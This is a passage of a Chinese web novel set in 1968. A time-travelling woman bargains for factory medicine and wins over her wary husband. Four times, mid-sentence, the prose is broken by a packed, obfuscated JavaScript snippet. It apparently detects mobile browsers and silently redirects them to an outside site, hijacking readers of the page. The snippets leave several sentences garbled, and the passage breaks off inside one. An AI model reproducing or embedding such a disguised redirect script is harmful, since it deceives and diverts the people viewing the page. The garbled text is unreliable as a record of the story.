她突然想起从林家那里拿到的钱票,赶紧掏出来给他:“你都拿去换成东西吧。” 陆沉舟有些意外:“真和林家断绝关系了?这钱和票你一点都不给自己留?” “我留着没用,你换成物资到时候咱们活下去的希望更大点。”林晚霜说,“我现在一心要跟你们走,你让我也帮忙吧。” 陆沉舟点头:“好,你负责每天扫地,拖地,洗衣服。” 林晚霜提醒他:“我知道怎么处理肉干,怎么制作耐放的食物。” 陆沉舟放下筷子,看向她:“林晚霜,我再说一次,不要做小动作。昨天的确是我们防备心不够,但你如果还敢,我一定会先弄死你。” 林晚霜沉默了:“你不信我。” 陆沉舟的回应是一声冷笑。 林晚霜想了想,觉得自己问的挺多余,陆家应该就没有一个人信她。 “有没有一种可能,我不是之前的林晚霜了!”林晚霜觉得既然这样,她还不如直接坦白算了,反正她现在在陆家已经和异类差不多了。 陆沉舟点头:“我也不是之前的陆沉舟了。” 林晚霜一口气噎了回去,就……挺绝望的。 她深吸一口气试图继续坦白:“你有没有看过《聊斋》,借尸还魂你知道吧。” 陆沉舟脸色冷下来,就在林晚霜以为他信了,甚至可能要找大师收她的时候,陆沉舟说话了。 “这是想举报我封建迷信?林晚霜,你果然贼心不死!” 林晚霜感到了巨大的荒谬,她瘫坐在椅子上,双眼无神:“毁灭吧,我累了,真的。” 陆沉舟直视她:“我知道你想要表达什么。” 林晚霜坐起身,看向他。 “你想让我们信你,无论是想杀我们,还是跟我们一起下放。如果不信你,你什么都施展不了。” 林晚霜辩驳:“可我不会杀你们,真的不会。” 然而陆沉舟没说话,只是静静地看着她。 林晚霜仔细想想穿越到现在发生的事,好吧,她自己都觉得荒谬。一个坏了19年的女人,在准备杀了婆家所有人的时候,被丈夫发现制止。然后她就突然变成好人了…… 好吧,她要不是当事人,她也不会信。 但问题是,她现在就是当事人。她该怎么办?穿到这样一个女人身上,她也很委屈,她也很无奈啊。 她甚至为了尽快让人相信,连借尸还魂的说法都拿出来了。但问题是,她给不出证据,她的金手指不能大变活物,也不能掐指一算。她拿什么让人相信她和原主是两个完全不同的人? 如果是在21世纪,她可以换个生活环境,和不相信她的人直接说拜拜,从头开始。 但问题这是1968年,没有介绍信和户口本寸步难行,没有粮食关系只能饿死。她离不开现有的环境。 更糟糕的是,她如果无法取得陆家人的信任,在被下放后,到了人生地不熟,管理他们更严苛的地方,她将真的寸步难行。 陆沉舟给出一个非常合理的建议:“口说无凭,你需要用时间来证明你真的改变了。” 用时间来证明,很合理。但是她缺的就是时间! 林晚霜笑了,她看透了陆沉舟,陆沉舟说这话就是要稳住她,他根本不在意她是装的还是真的变好了——他甚至不愿意浪费时间来观察她。 他只是想用一个合理的借口把她稳住,就像昨晚他故意把母亲的气往她身上带一样。他想要她安稳点,不要节外生枝,本本分分的待在家里养她那个不知道存不存在的胎。 或者说,这是陆家所有人对她的期望,但林晚霜除外。 林晚霜试图找到突破口,她诚恳地看向陆沉舟:“你是怕我添乱,但有没有可能,我不仅不会添乱,反而能帮上忙?” 她接着说:“猪心猪肺可以通过对着血管吹气,灌入水,彻底清洗干净,可以不用盐,用柴火熏烤做成耐放的熟食。这个季节可以去山上打猎,把肉切成条做成烟熏肉干,耐放,以后还能补充营养。” 陆沉舟不得不承认,她说的这些很有用,但是他不能赌:“你说的这些很有用,但是你在我这里,没有任何信誉。我不会拿全家人的命去赌你真的改变。” 他起身收碗:“以后到了饭点自己出来吃,没人会去叫你,身体是你的,自己保重。” 林晚霜不得不承认,这个男人是如此的理智,冷静。 他不会为利益而拿家人的性命去冒险。做他的家人,安全感真的很高。 但是,这不是她想看到的。 她想要获得他的信任,在这个家拥有一些位置,从而确保她不会被抛弃,确保她能在这个世道上安稳的活着。 “陆沉舟!”林晚霜叫住他,“你至少告诉我,那封信是谁寄的。让我有个防备,” 陆沉舟没有转身:“又蠢又自私还没脑子的人,知道越多死得越快。” 他走进了厨房,林晚霜不生气,因为陆沉舟说的又不是她。 她突然想起大夫要来的事,立刻起身追进了厨房。 陆沉舟正在厨房刷碗,突然看到林晚霜进来,他下意识捏紧了手中的丝瓜瓤。 “陆沉舟,”林晚霜低声喊他,“今晚留个门,我约了小诊所的周大夫上门给爸看病,还留了10块钱的诊金给他。” 她仔细地说着:“我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030843|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们都讨厌我,今晚我就不出来了。你记得问爸适合哪些药,再问问常见的草药有哪些,这都是咱们以后活命的本钱。” 陆沉舟突然觉得她很陌生,他结婚不到两个月,待在家里的时间加起来也不超过20天,对林晚霜的了解,除了来自陆星野和其他人的言语。就是这不到20天的亲身接触。 但就这短短的时间,林晚霜给他留下了极其恶劣的印象。好吃懒做,说话刻薄,对老人不孝,对弟弟不慈。因为陆家落了难,对他这个名义上的丈夫也是呼来喝去,没有半点尊重。 也因此,他宁愿把杂物间收拾出来睡觉,也绝不回主卧。 但是现在的林晚霜太诡异了。 或者说从昨晚摔跤再起来后,她就很诡异。 她能好好说话,不会再管爸叫“老不死的”,也不对着陆星野喊“地主崽子”,对着他也会好好叫名字了。 今天他回来听到陆星野跟他讲林晚霜在林家做的事,他一点不觉得意外。因为在他心中,林晚霜就是能干出这些事都人。 可是今晚当她把从林家弄来的钱和票全部推给他的时候,当她现在突然说出这番话,甚至还留钱请了医生的时候,他突然不确定了。 耳畔仿佛又响起陆星野的话“她给高婶儿塞了一把钱和票,她还跟我说,好人得有好报才行。哥,你说她是不是又在装?” 陆沉舟仔细看着面前这个女人,装吗?她贪财刻薄的样子仿佛还在眼前。这样的人会把钱掏出来去装? 这行事完全不合常理,不合逻辑。就像是,换了个人? 他仔仔细细打量她是否有易容的痕迹,最终决定今夜等她熟睡了再去仔细检查一遍。 而现在他选择先发制人—— “林晚霜,你又在耍什么花招?该不会医生前脚上门,后脚割委会就来抓我们吧?” “那你要我怎么做?怎么证明?”被连续质疑,就算是林晚霜早有心理准备也实在是撑不住了。 她这一瞬间竟然同那个剖腹证明自己有没有偷吃饺子的人深切共情。 然后她听到陆沉舟的声音。 “你去换些药回来。” 林晚霜明白了,药品是最短缺的,无论她用什么方法换到药,都势必要冒着极大的风险。 而这,就是她的投名状。 “好!我去拿着钱和票。”林晚霜毫不迟疑地做出了选择。 有了递交投名状的机会,总比仍旧被孤立,被怀疑的好。 她飞快和小爱沟通,将可能的门路全部查询了一遍。 她有了目标,也不惆怅了,立刻回到客厅一边吃饭,一边指定行动计划。 等一切都做好,这才拿着空碗进了厨房。 陆沉舟还在厨房,或者说,他就是在厨房等林晚霜。见到林晚霜进来,他伸手拿过她的碗筷:“出去,以后吃完了说一声,不要再进来。” 林晚霜也不生气,甚至绕着他走了半圈来欣赏他刷碗的英姿。 “啧啧,”她打量着这宽肩窄臀的男人,“什么家务都不让我做,你们这是在惩罚我还是奖励我啊?” 9. 第 9 章 徒步在泥土路,山道走5个小时是什么感受? 林晚霜现在有一肚子话想说,但现实是,她又累又渴,根本没有精力说话。 深秋的天气明明应该是冷的,她现在却热的想脱衣服。 她是凌晨3点被陆沉舟叫醒的,当时她睡得迷迷糊糊根本不想起床。但陆沉舟却提醒她,她今天想去的药品厂离陆家有7公里路,想要在药厂工人上班前赶到,现在就必须出发了。 林晚霜咬牙起床,拒绝了带水和干粮。揣着50块钱和2斤粮票。计划去城里吃个早饭。 然而只和陆沉舟同行了一小段路,他就因为她走路太慢,先行走了。 林晚霜杵着陆沉舟给她找的树枝,咬牙切齿:“小爱同学,陆沉舟把我一个人扔下走野路,这对吗?” 【小爱同学:根据我的分析,陆沉舟自己先走绝对是最优选。以亲的脚程,预计中午12点之前才能到达红星药品厂。】 也就是说,她还得再走5个小时? 林晚霜一屁股坐在地上,感觉人生已经失去希望。 然而小爱同学继续补刀。 【小爱同学:而且根据我的分析,在亲早上拒绝了陆沉舟让你带干粮和水的提醒后,陆沉舟压根不认为你真的会去东城,所以他抛下你自己进城换物资,是当下最理智的做法哦。】 “我以为只要走到天亮,就能买到早餐了。我都带钱了,干嘛还带干粮和水。”林晚霜委屈,“我们不也是住城里的吗?为什么就连大路上都没有人卖吃的?” 【小爱同学:亲所住的地方,位于T市城郊地带,另外,即使是T市城中心,除了国营饭店,也不可能有人卖吃的。请亲记住,这是计划经济时代。所有小买卖都属于投机倒把,会被抓去劳改的。】 “小爱同学,这个年代,怎么这么容易变成劳改犯?”林晚霜难受。 【小爱同学:根据我的分析,昨天亲之所以可以在林家拿到大量钱财,就是因为在这个特殊时期,亲人帮忙报名下乡是普遍存在的事情。而且亲所用身体的主人,的确非常坏。她能做出这种事……嘀嘀嘀!亲,根据你昨天设置的特殊事件提醒,我发现林爱民正在陆家院门口偷窥。】 林晚霜瞬间坐不住了。她咬牙起身继续往前走。 林爱民在陆家院门口偷窥,很明显就是去找她的。 她得赶紧进城弄到药,然后回去解决这件事。 至于担不担心林爱民现在在陆家闹事?说实话,她还真的不太担心。 林爱民是坏,但是他胆子小啊。所以即使身为贫农阶级对上陆家有天然的优势,他也不敢单枪匹马的去找陆家麻烦。 等等,贫农?! 林晚霜突然意识到她忽略了一个重要的问题:“小爱同学,这年代贫农都能写字吗?” 【小爱同学:1960年国家开始推行扫盲运动,推出了简化字和拼音,文盲率已经由建国初的80%下降到50%。但通常都是工人,干部,年轻人优先进行扫盲。】 “那就奇怪了,”林晚霜想到昨天林爱民笔下的繁体字,虽然不好看,但他写的很流畅,“林爱民身为贫农,怎么会写繁体字?” 而且,更诡异的是:“原主家是重男轻女对吧。原主是怎么能去上学的呢?” 别跟她讲因为原主家里人重视教育。这话就骗傻子吧。 原主家可是贫农阶级!虽然现在大家以身为贫农为骄傲。但这改变不了,贫农是很难有受教育机会的事实。 她有预感,原主家八成把她想象的还坑。 现在看来,留在陆家说不定是比她想象中还要好的选择。至少不用担心林家爆雷,炸她一身。 不过想到这里,她已经彻底不担心林爱民能对陆家做什么了。她决定回去就查查看,如果林家真的有鬼,特别是和某些势力有关,她立刻就举报他们,来个大义灭亲。 就这样头脑中不断分析,假设,林晚霜很快超前完成了任务。在中午11点10分,到达了红星药品厂。 她也不急,她先放慢脚步,绕着这厂子溜达了一圈。重点放在厂子附近的居民区。 通过疯狂查询恶补当下社会的相关知识。她知道,现在这年头如果贸然问人家买药,肯定是会被抓起来的。 饶了两圈,时间也差不多了。她瞄准一户只有个带孙女的老太婆家,轻轻敲了敲门。 这年头,能把孙女带那么好的老人,一看心眼就不会太坏。她很有把握等下开口讨水多半是没问题的。 事实也如她所料,听说她是想讨口水喝,又看到她一身狼狈,老太婆没插门,直接就让小孙女端碗水出来。 是碗生水,碗是八成新的白底蓝花碗。从碗上可以看出这家人不穷,这和喝生水的习惯相矛盾。 要知道,喝开水运动在50年就开始了,而这里是药厂家属区。药厂的家属,居然喝生水。 水不是粮食,在T市也不缺水资源,他们不可能自己喝开水,而让外人喝生水。 林晚霜又瞥了眼老太婆和小孙女穿的衣服。快速得出一个结论:这家人遭逢大变,目前生活已然窘迫了。 既然如此,她或者可以开口冒个险。 想到这里,林晚霜喝了口水,放下碗,拿出一角钱递给老太婆。 老太婆瞳孔巨震,像是没想到舍碗水居然还能得到这样的回报,她双手无措地在身上擦了擦:“闺女,使不得。” “使得,使得,”林晚霜抓过她的手,强塞进去,“不瞒您说,我家里有人生病,要买药,可是这年头哪里能轻易买到啊。我就想试试运气,结果好多天了,一点信儿都没有。遇到的人……唉,您虽然只是给我一碗水,但我心里头是真的感动。” 老太婆的手不自觉地收紧:“药啊,你家人怎么了?” 林晚霜没想到效果这么好,她立刻伸手抹眼角:“是我公爹,我婆婆没了,公爹和婆婆感情好,没撑住,吐血了,现在见天咳,我们做小辈的都心疼坏了。就医介绍信也不好开。哎……” 老太婆听到她说“婆婆没了,公爹和婆婆感情好没撑住”的时候,眼眶已经红了,她眼泪流的比林晚霜还快:“你公爹是个难得的好男人啊。” 林晚霜立刻猜出她也有故事,但不清楚这故事是好是坏的时候,她可不敢随便探听,万一老太婆情绪上来,想要看到她公爹殉情就不太好了。 她揉了揉肚子:“可不是,我婆婆都没等到孙子出世。” “哎呀!”老太婆赶紧看向她肚子,“你怀孕了?” 看到林晚霜点头,她可急了:“花儿,快点给这个大娘搬个椅子来,大娘怀弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030844|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟了。” 一句“大娘”差点让林晚霜破功,她快速给自己做心理建设:这年头小孩见到已婚妇人,喊声大娘是正常的,正常的!“阿姨”是80年代末才用来做社交称呼。 干瘦的女孩立刻转身回屋里搬了个椅子出来。 林晚霜从善如流坐下,肚子适时的咕咕叫了一声。老太婆听见了,但她只是偏过头去。这年头可以吃的东西少,就连走亲戚都默认是不留食宿的。林晚霜再让她同情,也不能用家里的粮食去做人情。 林晚霜也没提自己没吃饭,她目标非常明确:“说句难听的话,老人都孝顺不好,哪里还顾得上孩子?不光是我,就连我那才5岁的小叔子,要不是忙着给公爹做饭,收拾。也得出来找药。” “你这一家是真孝顺,”老太婆感叹,“人也好。” “还不都是老人做的好,”林晚霜说,“头几年闹饥荒,我公爹婆婆是从自己嘴里扣粮食给我们,甚至瞒着我们做了点投机倒把掉脑袋的事,这才把我们拉拔出来。” 老太婆吓了一跳,立刻起来冲到院门口。她探头出去看了一圈,见没有人注意,缩回头插好院门,又让小孙女回屋去。 然后才走到林晚霜身边,低声问:“投机倒把?你公爹婆婆做投机倒把的事了?” 林晚霜假装没发现她的紧张:“可不是,后面我们知道是吓坏了。但是公爹婆婆说,真出了事就自己出去顶罪,绝不会拖累我们。结果您猜怎么着?就这样,我们家竟然一个不少的挺过来了。后面当然是没做了,所以到现在也没出事。不过您说,就这样的公爹婆婆,我们能不拿命去孝顺?” 老太婆眼中精光连连:“应该的,应该的,老人拿命给你们挣活路,晚辈孝顺在理所当然不过了。” 林晚霜抬头看看天色,起身:“谢谢婶儿的水,我得走了,再去撞撞运气去。” “闺女,”老太婆突然叫住她,“你想去哪儿找药?” 林晚霜暗道,这事儿多半是成了。 她期期艾艾地扭过头:“药厂的人应该午歇了,我去门口等着,见到人挨个儿问,实不相瞒,我公爹拖不得了,我就算被抓进去也要给他找个活路。” 老太婆细细品完“活路”两字,抬起头看向她:“你这样是不成的,你没单位的条子,药厂根本不可能给你药。我这里倒有个法子,你可以听听看。” 林晚霜立刻上前一步抓起她的手:“婶儿心善,婶儿尽管说,成不成的我都谢过婶儿,就算出了事也全是我的,半点不会连累到婶儿。” 老太婆松了口气,声音压低了几分:“我媳妇儿顶了儿子的班,就在药厂车间里头。他们经常会有瑕疵药,落地药。就是品相不好,不影响效果的。你要是能拿足够的肉和粮换,我去跟我媳妇儿说。” 林晚霜飞快打量了一圈这个家,确认没几件男人的东西,又品出顶班的含义。对老太婆的家庭情况基本上有了数:儿子多半是不在了,都靠媳妇儿撑着,老太婆有点怕以后媳妇不管她。 她立刻掏出一张大团结塞到老太婆手里头:“婶儿,这事风险太大,您和嫂子提提看,但不管成还是不成,这钱您都收着。家里头不容易,您得撑得住。” 老太婆脸色瞬间动容,她迟疑了一下:“你在屋里头坐着,我现在就去药厂叫她回来。” 10. 第 10 章 红星制药厂家属区小院,堂屋饭桌边。 清秀瘦弱的女人坐在椅子上,她今年才24岁,但已经长出了白发和细细的皱纹。 她的脸枯黄,眼角被生活的重担撕扯着下坠。 在听完老太婆的话后,她边慢慢细细咂摸着一碗生水,边打量着对面椅子上的林晚霜。 林晚霜明显看到,在听到换粮和肉时,她狠狠咽了口唾沫。然而等她喝完最后一口水时,她已经恢复了最初的死寂。 这女人明明心动了,却还是放弃。林晚霜明白,这是有所顾忌。但没关系,她既然能坐在这里就能有机会打消她的顾虑。 果然,她等了片刻,就听那女人斟酌着开了口:“大妹子,你是我妈带过来的。按理说我该信你。” 老太婆此时不安的捏了下衣角,仿佛明白自己做错了事,显得有些不安。她回头看了看小孙女,确认小孙女的房间门关的很紧,这才轻轻吐了口气。然后手伸进了兜里。像是在摸东西。 “我是个孤儿,是我妈捡回来养大的,和我男人结婚后,生了花儿。我男人接了死去公公的班,进了药厂,一家子日子也算过得去了,但是年前他卷进机器里死了。”女人眼角泛红,却没有眼泪,说这段话的时候声音也很平静,像是泪水早已流干。 林晚霜隐约明白了她在怕一旦和自己做了这笔买卖,只怕是要一直做这种事。而一直做,总有被人发现的那天。 女人说到这里显得更坦然了些:“我是顶我男人都岗进去的,没技术,工资比不得我男人。加上要补我男人办白事拉下的饥荒,一家三口糊口都难。按理说我得谢谢你给了这条道。但这路我不敢走。” 一旁的老太婆吸了吸鼻子,捏着林晚霜给她那十块钱。一把塞到她手里:“闺女,婶对不住你,这事儿我儿媳妇说了算。我一把老骨头了,不能给孩子闹麻烦。” 那女人眼角跳了下,诧异的看向林晚霜。 林晚霜没接钱,她噗通一声对着老太婆跪下:“婶,您给指了路,走不通是缘分不到。这钱您该收。实不相瞒,我婆家成分不好,这两三天就要全家下放了。我们出来找药也只是为了给重病的公爹争个活路。不管成不成的,咱们应该这辈子都见不到面了。您不必担心这钱烫手,您收下,就当我们结个缘。” 老太婆哪里肯听,一边说着对不住一边就要塞她兜里。 女人却是起身过来看着她,问了一句:“这几天就得走?下放到哪儿?” 刚刚那番话林晚霜其实就是说给她听的,她顾忌怕这事做过一次就下不了贼船,林晚霜就要她知道这是一杆子买卖。她婆家成分摆这里,天然落了下风,绝对妨不了这女人家。 如今见着问起,她当即明白药的事有转机了。 至于下放地点,她是不知道,但这女人也就是要个准信,并不能去查。 林晚霜立刻说:“三天后就走,去黑省下头的一个农场。” 女人轻轻吐了口气:“那地方听起来就苦。但大妹子你别怕,黑省比起边疆边境又好了太多,你家会有活路的。” 听话听音儿,这卖药的事女人算是真的心动了。她立刻搭台阶给女人下:“嫂子这话戳我心啊,这药弄不到,一家子都没个活路了。” “三天时间有点紧了,”女人接住台阶,稳稳下来,“你们家都要下放了,还能弄到肉和粮食?” 到了谈价的时候,这事儿就快成了,林晚霜毫不迟疑先撂出去话:“粮食弄不到,肉山里头就有,剩下缺的您看多少钱可以补?” 老太婆此刻也明白了什么,但她明显和这女人想的不一样:“你们这成分太危险,我们不敢沾,这钱你拿回去,就当我们今天没见过。” 女人却是扶起林晚霜,把钱拿过来塞进老太婆手里:“就她家这种一锤子买卖我才敢接。妈这钱您收着吧,就当买药的定金。” 老太婆琢磨了下,也明白了,当即把钱重新揣回兜里。 女人看向林晚霜:“我说话难听,这买卖我只做这一次。做完我就不认了,你婆家成分放那里,要是出个事。我是可以告你陷害贫农的。” 林晚霜点头:“我婆家也怕惹事,嫂子看这价钱怎么定?” 女人见她是个明白人,也就继续说了:“我们厂里就三种药,甘草片,复方阿司匹林还有四环素。我只能弄瑕疵品和落地药,药是随机的,数量和品类都不能保证。如果你同意,两天后的半夜你来我家,一斤鲜肉换50颗药,剩下的按5毛钱一颗给我抵。” “好,”林晚霜一口答应,“但是我一个人扛不动肉,我带上我男人,就他一个行不。” 女人又打量了她好几遍,最后说:“行,到时候敲四下门,三声鸽子叫,否则我不开门。” 谈完这笔买卖,女人急着回去上班,林晚霜看着桌上稀薄的玉米碴子粥,赶紧起身告辞。 她倒不是嫌弃,都这会儿了,给她碗生水她都能一口气喝了。只是这年头去别人家做客还吃饭,委实是太不懂事。 掂掂兜里的40块钱和2斤粮票。林晚霜目的明确直奔国营饭店。才穿过来一天,她想吃大米饭想疯了。 然而,十分钟后,林晚霜端着碗白开水,抱着四个窝头,老老实实地去角落里吃饭了。 不是国营饭店不提供大米饭,而是她买不起。 说买不起其实也不对,只是性价比实在不高罢了。一碗大米饭要5块钱和半斤粮票。 对比起来还是这只需要一块钱和□□票就能买到四个的玉米面窝头划算。 林晚霜啃着窝头喝着水,倒是没觉得自己有多委屈。本来都死了,现在还能拥有一个年轻健康的身体,虽然没有记忆还有一堆子麻烦,但她有金手指。 人嘛,多看看自己拥有的,至于想有还没得到的,那就靠自己去争去抢呗。 别看这窝头粗粝割嘴,但是吃了饱肚子,这年头多少人想吃还吃不到呢。 林晚霜挺开心的吃完一个半窝头,又去嘴甜的讨了半碗水回来继续喝。 吃饱喝足,因为嘴甜还免费被服务员送了半张油纸把剩下两个半窝头包起来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030845|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张油纸三毛钱,今天赚了一毛半。 林晚霜开开心心跟着导航去黑市找陆沉舟,迫不及待上交投名状去了。 黑市说起来也就是一条弯弯绕绕的小巷弄,因为小,所以隐蔽,因为弯弯绕绕,所以好逃跑。 跟着导航指示,林晚霜堵住了了陆沉舟:“你吃窝头不吃?” 陆沉舟正低头走着,突然有个人如鬼魅般出现拦住他的路,他下意识转身就要跑,却突然听到了熟悉的声音。 微一愣怔,一个玉米窝头已经递到了他眼前。抬头,却是他那个变化极大的古怪媳妇儿。 “你怎么找到我的?”陆沉舟下意识就开始打量周围有没有割委会的人。 “放心,我真不是来害你的,”林晚霜说,“我昨晚都说了,我这种情况是借尸还魂。” 陆沉舟确认她身后的确没有尾巴,这才接过窝头:“我没想到你居然真的来东城了。” 这是实话,就今早她那样子,陆沉舟觉得自己离开后她顶多再有十分钟就会转身回家。 “小瞧人了不是?我又不是原先那个林晚霜,”林晚霜看他吃着窝头,突然生了个坏心眼,“你还真敢吃啊,不怕我下药了?” 陆沉舟还真不怕,因为经过昨晚他的仔细推敲,他已经大概明白林晚霜身上发生了什么事。而今天林晚霜竟然真的来了这里,更是佐证了他的推测。 “昨晚我想过了,也趁你睡着去检查了你的身体,确认你身上没有伪装痕迹,”陆沉舟一边吃一边走,“加上回想之前你的举动,询问星野和爸,以及我对你的观察。我觉得有件事我们必须达成共识。” 林晚霜一路紧跟,侧耳听他说话,此时被他话里的含义惊到:“你居然这么轻易就接受了我的解释?” 陆沉舟看她一眼,竟然笑了:“借尸还魂?少弄这些封建迷信,多相信科学。” 林晚霜懵了,难道他已经想到了黑洞理论,量子纠缠?天呐,这男人真厉害。 “你这种情况也不是先例。”陆沉舟三两口吃完一个窝头,又向她伸手。 林晚霜赶紧送过去,接着问:“还有人跟我情况一样?是谁?” 陆沉舟声音更低了:“是我之前看过的国际新闻报纸,有个外国男人是弱智,在雷雨天被劈了,醒来后失忆了还变成了天才,医生检查后发现,他的脑域扩张了至少7%,你应该也是这种情况。” 林晚霜目瞪口呆,这解释……还真科学,这新闻她以前当笑话看过,因为后面证实这就是个伦敦小报编撰的故事。 陆沉舟看她目瞪口呆的样子,突然觉得心情不错,然而他愿意告诉林晚霜这些的原因除了因为林晚霜摔倒前后判若两人,更是因为—— “所以你要保护好自己,不能再摔回去了,”陆沉舟警告她,“保持现在这个样子挺好的。” 林晚霜噎住:“所以你觉得我是因为摔了一跤,失去记忆,然后脑域还得到了开发?” “排除所有的不可能,最后剩下的无论多离谱,都只能是事实。”陆沉舟非常确定。 11. 第 11 章 林晚霜真的服了他的脑洞,但转念一想,就让他这样认为也不是不行。 反正她说什么借尸还魂也只是想让他把自己和原主当成两个人对待,让他对自己多一点信任。 而现在,陆沉舟自己脑补了原主摔成失忆还开发了脑域变成了她。还从她手里直接接东西吃,那她的目的也算达到了。 不过—— “你昨晚趁我睡着检查了我的身体?”她下意识后退一步,看他像看流氓。 陆沉舟并不以为意:“你前后变化太大,我需要排除你是间谍伪装的可能,放心,我很专业,不该碰的地方没碰。” 这话说的……林晚霜立刻在脑海里鞭挞小爱同学。 【小爱同学:亲又没说需要监测亲睡着后有没有人碰你,我不背这个锅哦。】 好吧,是她没说。 林晚霜郁闷的给它设置了每日循环任务,在她睡着后监测她身边的环境,生成问题日志的,第二天早上提醒她看。 他走的很快,但没影响说话:“你失忆前如果面对昨天林家那种情况,应该已经让你奶奶见血了。要断亲也做不到让林家人主动拿着钱求你断。另外就是请医生这件事,昨天晚上周大夫和我说了你和他说的话,很明显,你除了会用计谋,还会共情别人了。” 林晚霜咋舌,昨晚吃饭的时候,他应该还没注意到那么多吧?这男人脑子是什么构造?一晚上啥都理清楚了? “你之前的习惯和小动作都没了,多了很多新的,这即使是经过训练的人,也很难做到,”陆沉舟做出总结,“你大概自己也发现不对劲了,但由于缺乏科学素养,只能往民间怪谈上去想。其实这些科学都能解释清楚,有机会,你还是多读点书吧。” 这特么太有理有据了。人家穿越了,都是穿越者自己给自己编出个失忆,她这穿越了说实话都没人信,还特别有理有据的摆证据告诉她你只是失忆。 林晚霜被他这精妙绝伦的说法给无语到了。 不过她很快又注意到了重点:“你在哪儿看过国际报纸的?这东西管制的比药还严格!” 这是1968年,谁敢轻易和国外的人和事扯上关系?□□可比坏分子还惨。 陆沉舟沉默了。 林晚霜立刻明白:“你以前在部队看的?不对,部队这种东西也不可能轻易传阅……所以,你到底是什么部队的?” 陆沉舟眼中闪过戒备之色:“看来你脑域被开发的很好。” 林晚霜后退一步,护住脑袋:“别想摔我脑袋。” 陆沉舟突然笑了:“不会摔你,而且你也要注意保护你的脑袋不被摔。不过你如果能记起来被摔时候的角度和力度,可以跟我说一下。” “你想干嘛?”林晚霜吓到了,“你想拿谁做实验?我跟你说我这个情况真不是摔的,你千万别犯事。” 该不会他以后见到个人都想做这个实验吧!这也太恐怖了。 林晚霜赶紧转移话题:“你还没说你是什么部队的呢?算了,你不说我回去问你弟。” “我弟,我爸他们都不知道,”陆沉舟突然说,“T市这边知道的也没几个人。你不要乱打听,即使我退伍了,也有三年的保密期。” 保密?一个普通军人,入伍后他的部队和番号需要保密吗?而且他还能接触到国际新闻…… 林晚霜陷入思索。 “你今天不是来买药的?”陆沉舟的声音打断了她的思考,“找到了吗?” 林晚霜立刻回过神,陆沉舟是什么部队,现在已经不重要了。何况看起来他还没到解密期,这更不能打听。 眼前最重要的还是药的事。 她把最后半个窝头递过去,低声说:“药的事情我谈好了,两天后晚上去红星药厂旁边的小院,拿肉和钱换,药是落地药和瑕疵药,有三种,但不保证数量和品类,一斤鲜肉换50颗药,5毛钱换一颗药。” 他啃着窝头,嘴唇微动:“怎么搞到的?人靠谱吗?” 林晚霜同他一路走,一路低声将事情说了一遍。 陆沉舟听完并没有问她要什么证据,也没提出去看看那户人家。竟就这样相信了:“快回家,既然你已经谈好了,我们今晚就进山去弄肉。” 林晚霜却忍不住问他:“你就不再确认下?就这么相信我?万一我是骗你的呢?” “我只信自己的判断,”陆沉舟回头看了她一眼,“而且我看不到你骗我会获得什么好处。” “说不定是趁你上门交易的时候,让割委会直接来个人赃并获。我戴罪立功。” “失忆前的你想不到这种计谋,失忆后的你,除了陆家无处可去。”陆沉舟加快了步伐,“快点走,不然天黑了。” 接下来的时间林晚霜再也没工夫逗他,光是追着他不要掉队就已经让她精力耗尽。 她原本还觉得原主身体素质好,走了八个多小时都不太累。现在和陆沉舟一比,原主瞬间成了渣渣。 一路追赶,八个多小时的路程硬生生压挤四小时不到。陆沉舟仍旧气定神闲,背着背篓也只是微微出汗,而她已经快上气不接下气了。 眼见前面就是陆家院门,林晚霜一屁股坐地上歇下了。而陆沉舟步伐依旧平稳进了小院。 陆星野刚刚摆好饭就看到陆沉舟回来,他先是喜悦,然而马上又发起愁来:“哥,今天怎么这么早?换东西不太顺利吗?” 陆沉舟把背篓放下来,拿出一包小米和几块大小不一的布递过去:“还行,爸今天怎么样了?” 陆星野接过小米,脸上溢出笑容:“爸今天好多了,周大夫昨晚给他针灸了以后,他睡的很好。只可惜没办法弄到药。药管的太严了,周大夫不敢拿出来。” 陆沉舟点了点头:“药的事应该也有着落了。” 陆星野更开心了:“哥你找到了?真的太好了。” “不是我,是林晚霜找到的,”陆沉舟说,“我们急着回来就是为了这事儿。” “林晚霜,”陆星野的鼻子皱了起来,“她行吗她?不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 